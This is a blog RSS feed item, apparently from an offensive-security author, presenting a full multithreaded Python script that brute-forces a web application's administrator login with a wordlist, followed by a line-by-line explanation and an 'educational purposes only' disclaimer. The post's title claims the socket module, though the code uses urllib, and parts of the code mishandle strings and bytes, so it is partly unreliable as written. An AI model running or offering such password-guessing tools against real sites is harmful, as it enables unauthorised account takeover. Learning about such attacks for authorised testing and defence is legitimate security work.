<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Python Archives | Abdul Wahab Junaid</title>
	<atom:link href="https://awjunaid.com/category/python/feed/" rel="self" type="application/rss+xml" />
	<link>https://awjunaid.com/category/python/</link>
	<description>Offensive Security Researcher &#38; Quantum Cryptography Analyst</description>
	<lastBuildDate>Sun, 31 Dec 2023 23:18:50 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://i0.wp.com/awjunaid.com/wp-content/uploads/2023/06/cropped-1668274976669.jpeg?fit=32%2C32&#038;ssl=1</url>
	<title>Python Archives | Abdul Wahab Junaid</title>
	<link>https://awjunaid.com/category/python/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">220030102</site>	<item>
		<title>Brute-Forcing HTML From Authentication Using Socket Module</title>
		<link>https://awjunaid.com/python/brute-forcing-html-from-authentication-using-socket-module/</link>
					<comments>https://awjunaid.com/python/brute-forcing-html-from-authentication-using-socket-module/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Sun, 31 Dec 2023 23:13:53 +0000</pubDate>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=8943</guid>

					<description><![CDATA[<p>Brute-forcing HTML-based authentication using the socket module in Python involves manually crafting HTTP requests and handling the communication&#8230;</p>
<p>The post <a href="https://awjunaid.com/python/brute-forcing-html-from-authentication-using-socket-module/">Brute-Forcing HTML From Authentication Using Socket Module</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Brute-forcing HTML-based authentication using the <code>socket</code> module in Python involves manually crafting HTTP requests and handling the communication with the web server. This process typically requires sending POST requests with different username and password combinations and analyzing the HTML responses to check for successful login or authentication failure.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(3 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import http.cookiejar
import queue
import threading
import urllib.error
import urllib.parse
import urllib.request
from abc import ABC
from html.parser import HTMLParser

# general settings
user_thread = 10
username = &quot;admin&quot;
wordlist_file = &quot;cain.txt&quot;
resume = None

# target specific settings
target_url = &quot;http://192.168.112.131/administrator/index.php&quot;
target_post = &quot;http://192.168.112.131/administrator/index.php&quot;

username_field = &quot;username&quot;
password_field = &quot;passwd&quot;

success_check = &quot;Administration - Control Panel&quot;


class BruteParser(HTMLParser, ABC):
    def __init__(self):
        HTMLParser.__init__(self)
        self.tag_results = {}

    def handle_starttag(self, tag, attrs):
        if tag == &quot;input&quot;:
            tag_name = None
            for name, value in attrs:
                if name == &quot;name&quot;:
                    tag_name = value
                if tag_name:
                    self.tag_results[tag_name] = value


class Bruter(object):
    def __init__(self, user, words_q):
        self.username = user
        self.password_q = words_q
        self.found = False
        print(&quot;Finished setting up for: %s&quot; % user)

    def run_bruteforce(self):
        for i in range(user_thread):
            t = threading.Thread(target=self.web_bruter)
            t.start()

    def web_bruter(self):
        while not self.password_q.empty() and not self.found:
            brute = self.password_q.get().rstrip()
            jar = http.cookiejar.FileCookieJar(&quot;cookies&quot;)
            opener = urllib.request.build_opener(
                urllib.request.HTTPCookieProcessor(jar))

            response = opener.open(target_url)

            page = response.read()

            print(&quot;Trying: %s : %s (%d left)&quot; % (
                self.username, brute, self.password_q.qsize()))

            # parse out the hidden fields
            parser = BruteParser()
            parser.feed(page)

            post_tags = parser.tag_results

            # add our username and password fields
            post_tags[username_field] = self.username
            post_tags[password_field] = brute

            login_data = urllib.parse.urlencode(post_tags)
            login_response = opener.open(target_post, login_data)

            login_result = login_response.read()

            if success_check in login_result:
                self.found = True

                print(&quot;[*] Bruteforce successful.&quot;)
                print(&quot;[*] Username: %s&quot; % username)
                print(&quot;[*] Password: %s&quot; % brute)
                print(&quot;[*] Waiting for other threads to exit...&quot;)


def build_wordlist(wordlst_file):
    # read in the word list
    fd = open(wordlst_file, &quot;r&quot;)
    raw_words = [line.rstrip('\n') for line in fd]
    fd.close()

    found_resume = False
    word_queue = queue.Queue()

    for word in raw_words:
        word = word.rstrip()
        if resume is not None:
            if found_resume:
                word_queue.put(word)
            else:
                if word == resume:
                    found_resume = True
                    print(&quot;Resuming wordlist from: %s&quot; % resume)
        else:
            word_queue.put(word)
    return word_queue


words = build_wordlist(wordlist_file)
bruter_obj = Bruter(username, words)
bruter_obj.run_bruteforce()" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> http.cookiejar</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> queue</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> threading</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> urllib.error</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> urllib.parse</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> urllib.request</span></span>
<span class="line"><span style="color: #F92672">from</span><span style="color: #F8F8F2"> abc </span><span style="color: #F92672">import</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">ABC</span></span>
<span class="line"><span style="color: #F92672">from</span><span style="color: #F8F8F2"> html.parser </span><span style="color: #F92672">import</span><span style="color: #F8F8F2"> HTMLParser</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># general settings</span></span>
<span class="line"><span style="color: #F8F8F2">user_thread </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10</span></span>
<span class="line"><span style="color: #F8F8F2">username </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;admin&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">wordlist_file </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;cain.txt&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">resume </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># target specific settings</span></span>
<span class="line"><span style="color: #F8F8F2">target_url </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;http://192.168.112.131/administrator/index.php&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">target_post </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;http://192.168.112.131/administrator/index.php&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">username_field </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;username&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">password_field </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;passwd&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">success_check </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;Administration - Control Panel&quot;</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">class</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E; text-decoration: underline">BruteParser</span><span style="color: #F8F8F2">(</span><span style="color: #A6E22E; font-style: italic; text-decoration: underline">HTMLParser</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">ABC</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">__init__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">self</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        HTMLParser.</span><span style="color: #66D9EF">__init__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.tag_results </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> {}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">handle_starttag</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">self</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">tag</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">attrs</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> tag </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;input&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            tag_name </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> name, value </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> attrs:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;name&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                    tag_name </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> value</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> tag_name:</span></span>
<span class="line"><span style="color: #F8F8F2">                    </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.tag_results[tag_name] </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> value</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">class</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E; text-decoration: underline">Bruter</span><span style="color: #F8F8F2">(</span><span style="color: #66D9EF; font-style: italic">object</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">__init__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">self</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">user</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">words_q</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.username </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> user</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.password_q </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> words_q</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.found </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">False</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Finished setting up for: </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> user)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">run_bruteforce</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">self</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> i </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">range</span><span style="color: #F8F8F2">(user_thread):</span></span>
<span class="line"><span style="color: #F8F8F2">            t </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> threading.Thread(</span><span style="color: #FD971F; font-style: italic">target</span><span style="color: #F92672">=</span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.web_bruter)</span></span>
<span class="line"><span style="color: #F8F8F2">            t.start()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">web_bruter</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">self</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.password_q.empty() </span><span style="color: #F92672">and</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.found:</span></span>
<span class="line"><span style="color: #F8F8F2">            brute </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.password_q.get().rstrip()</span></span>
<span class="line"><span style="color: #F8F8F2">            jar </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> http.cookiejar.FileCookieJar(</span><span style="color: #E6DB74">&quot;cookies&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">            opener </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> urllib.request.build_opener(</span></span>
<span class="line"><span style="color: #F8F8F2">                urllib.request.HTTPCookieProcessor(jar))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            response </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> opener.open(target_url)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            page </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> response.read()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Trying: </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74"> : </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74"> (</span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> left)&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.username, brute, </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.password_q.qsize()))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># parse out the hidden fields</span></span>
<span class="line"><span style="color: #F8F8F2">            parser </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> BruteParser()</span></span>
<span class="line"><span style="color: #F8F8F2">            parser.feed(page)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            post_tags </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> parser.tag_results</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># add our username and password fields</span></span>
<span class="line"><span style="color: #F8F8F2">            post_tags[username_field] </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.username</span></span>
<span class="line"><span style="color: #F8F8F2">            post_tags[password_field] </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> brute</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            login_data </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> urllib.parse.urlencode(post_tags)</span></span>
<span class="line"><span style="color: #F8F8F2">            login_response </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> opener.open(target_post, login_data)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            login_result </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> login_response.read()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> success_check </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> login_result:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.found </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Bruteforce successful.&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Username: </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> username)</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Password: </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> brute)</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Waiting for other threads to exit...&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">build_wordlist</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">wordlst_file</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># read in the word list</span></span>
<span class="line"><span style="color: #F8F8F2">    fd </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">open</span><span style="color: #F8F8F2">(wordlst_file, </span><span style="color: #E6DB74">&quot;r&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    raw_words </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> [line.rstrip(</span><span style="color: #E6DB74">&#39;</span><span style="color: #AE81FF">\n</span><span style="color: #E6DB74">&#39;</span><span style="color: #F8F8F2">) </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> line </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> fd]</span></span>
<span class="line"><span style="color: #F8F8F2">    fd.close()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    found_resume </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">False</span></span>
<span class="line"><span style="color: #F8F8F2">    word_queue </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> queue.Queue()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> word </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> raw_words:</span></span>
<span class="line"><span style="color: #F8F8F2">        word </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> word.rstrip()</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> resume </span><span style="color: #F92672">is</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> found_resume:</span></span>
<span class="line"><span style="color: #F8F8F2">                word_queue.put(word)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> word </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> resume:</span></span>
<span class="line"><span style="color: #F8F8F2">                    found_resume </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span></span>
<span class="line"><span style="color: #F8F8F2">                    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Resuming wordlist from: </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> resume)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            word_queue.put(word)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> word_queue</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">words </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> build_wordlist(wordlist_file)</span></span>
<span class="line"><span style="color: #F8F8F2">bruter_obj </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> Bruter(username, words)</span></span>
<span class="line"><span style="color: #F8F8F2">bruter_obj.run_bruteforce()</span></span></code></pre></div>



<div class="wp-block-file"><a id="wp-block-file--media-ce94987a-36e1-4cda-9def-67f9999c5079" href="https://awjunaid.com/wp-content/uploads/2023/12/cain.txt" target="_blank" rel="noreferrer noopener">cain</a><a href="https://awjunaid.com/wp-content/uploads/2023/12/cain.txt" class="wp-block-file__button wp-element-button" download aria-describedby="wp-block-file--media-ce94987a-36e1-4cda-9def-67f9999c5079">Download</a></div>



<div class="wp-block-jetpack-markdown"><h2>Explanation:</h2>
<pre><code class="language-python">import http.cookiejar
import queue
import threading
import urllib.error
import urllib.parse
import urllib.request
from abc import ABC
from html.parser import HTMLParser
</code></pre>
<ul>
<li>Importing necessary modules:
<ul>
<li><code>http.cookiejar</code>: Provides support for automatic handling of HTTP cookies.</li>
<li><code>queue</code>: Implements a thread-safe queue, which will be used to store passwords.</li>
<li><code>threading</code>: Provides support for threading.</li>
<li><code>urllib.error</code>, <code>urllib.parse</code>, <code>urllib.request</code>: Modules for handling URLs and making HTTP requests.</li>
<li><code>ABC</code> (Abstract Base Class) from the <code>abc</code> module: Used for creating abstract classes.</li>
<li><code>HTMLParser</code> from <code>html.parser</code>: Provides a simple parser class to extract data from HTML.</li>
</ul>
</li>
</ul>
<pre><code class="language-python"># general settings
user_thread = 10
username = &quot;admin&quot;
wordlist_file = &quot;cain.txt&quot;
resume = None
</code></pre>
<ul>
<li>General settings for the script, including the number of threads (<code>user_thread</code>), the target username (<code>username</code>), the wordlist file (<code>wordlist_file</code>), and an optional resume point (<code>resume</code>).</li>
</ul>
<pre><code class="language-python"># target specific settings
target_url = &quot;http://192.168.112.131/administrator/index.php&quot;
target_post = &quot;http://192.168.112.131/administrator/index.php&quot;
</code></pre>
<ul>
<li>Target-specific settings for the web application being targeted, including the URLs for the login page (<code>target_url</code>) and the form submission (<code>target_post</code>).</li>
</ul>
<pre><code class="language-python">username_field = &quot;username&quot;
password_field = &quot;passwd&quot;

success_check = &quot;Administration - Control Panel&quot;
</code></pre>
<ul>
<li>More target-specific settings, including the names of the username and password fields in the HTML form (<code>username_field</code>, <code>password_field</code>), and a string indicating a successful login (<code>success_check</code>).</li>
</ul>
<pre><code class="language-python">class BruteParser(HTMLParser, ABC):
    def __init__(self):
        HTMLParser.__init__(self)
        self.tag_results = {}

    def handle_starttag(self, tag, attrs):
        if tag == &quot;input&quot;:
            tag_name = None
            for name, value in attrs:
                if name == &quot;name&quot;:
                    tag_name = value
                if tag_name:
                    self.tag_results[tag_name] = value
</code></pre>
<ul>
<li>Definition of a custom HTML parser class (<code>BruteParser</code>) that inherits from <code>HTMLParser</code>. It is used to parse HTML and extract input field names and values.</li>
</ul>
<pre><code class="language-python">class Bruter(object):
    def __init__(self, user, words_q):
        self.username = user
        self.password_q = words_q
        self.found = False
        print(&quot;Finished setting up for: %s&quot; % user)

    def run_bruteforce(self):
        for i in range(user_thread):
            t = threading.Thread(target=self.web_bruter)
            t.start()

    def web_bruter(self):
        while not self.password_q.empty() and not self.found:
            brute = self.password_q.get().rstrip()
            jar = http.cookiejar.FileCookieJar(&quot;cookies&quot;)
            opener = urllib.request.build_opener(
                urllib.request.HTTPCookieProcessor(jar))

            response = opener.open(target_url)
            page = response.read()

            print(&quot;Trying: %s : %s (%d left)&quot; % (
                self.username, brute, self.password_q.qsize()))

            parser = BruteParser()
            parser.feed(page)
            post_tags = parser.tag_results

            post_tags[username_field] = self.username
            post_tags[password_field] = brute

            login_data = urllib.parse.urlencode(post_tags)
            login_response = opener.open(target_post, login_data)
            login_result = login_response.read()

            if success_check in login_result:
                self.found = True
                print(&quot;[*] Bruteforce successful.&quot;)
                print(&quot;[*] Username: %s&quot; % username)
                print(&quot;[*] Password: %s&quot; % brute)
                print(&quot;[*] Waiting for other threads to exit...&quot;)
</code></pre>
<ul>
<li>Definition of the <code>Bruter</code> class:
<ul>
<li><code>__init__</code>: Constructor method initializes the object with a target username, a queue of passwords, and a flag indicating if the correct password is found.</li>
<li><code>run_bruteforce</code>: Method starts multiple threads to execute the <code>web_bruter</code> method concurrently.</li>
<li><code>web_bruter</code>: Method performs the actual brute-force attack by sending HTTP requests with different passwords, parsing HTML to extract form fields, and checking for successful login.</li>
</ul>
</li>
</ul>
<pre><code class="language-python">def build_wordlist(wordlst_file):
    # read in the word list
    fd = open(wordlst_file, &quot;r&quot;)
    raw_words = [line.rstrip('\n') for line in fd]
    fd.close()

    found_resume = False
    word_queue = queue.Queue()

    for word in raw_words:
        word = word.rstrip()
        if resume is not None:
            if found_resume:
                word_queue.put(word)
            else:
                if word == resume:
                    found_resume = True
                    print(&quot;Resuming wordlist from: %s&quot; % resume)
        else:
            word_queue.put(word)
    return word_queue
</code></pre>
<ul>
<li>Definition of the <code>build_wordlist</code> function:
<ul>
<li>Reads passwords from a wordlist file.</li>
<li>Supports resuming from a specified point.</li>
</ul>
</li>
</ul>
<pre><code class="language-python">words = build_wordlist(wordlist_file)
bruter_obj = Bruter(username, words)
bruter_obj.run_bruteforce()
</code></pre>
<ul>
<li>Script execution:
<ul>
<li>Calls <code>build_wordlist</code> to create a queue of passwords.</li>
<li>Creates a <code>Bruter</code> object and starts the brute-force attack.</li>
</ul>
</li>
</ul>
<p><em><strong>This script is an example and is meant for educational purposes only. Unauthorized use of such scripts is illegal and unethical. Always ensure you have explicit authorization before testing or assessing the security of any system.</strong></em></p>
</div>
<p>The post <a href="https://awjunaid.com/python/brute-forcing-html-from-authentication-using-socket-module/">Brute-Forcing HTML From Authentication Using Socket Module</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/python/brute-forcing-html-from-authentication-using-socket-module/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">8943</post-id>	</item>
		<item>
		<title>Brute-Forcing Directories and File Location Using Socket Library</title>
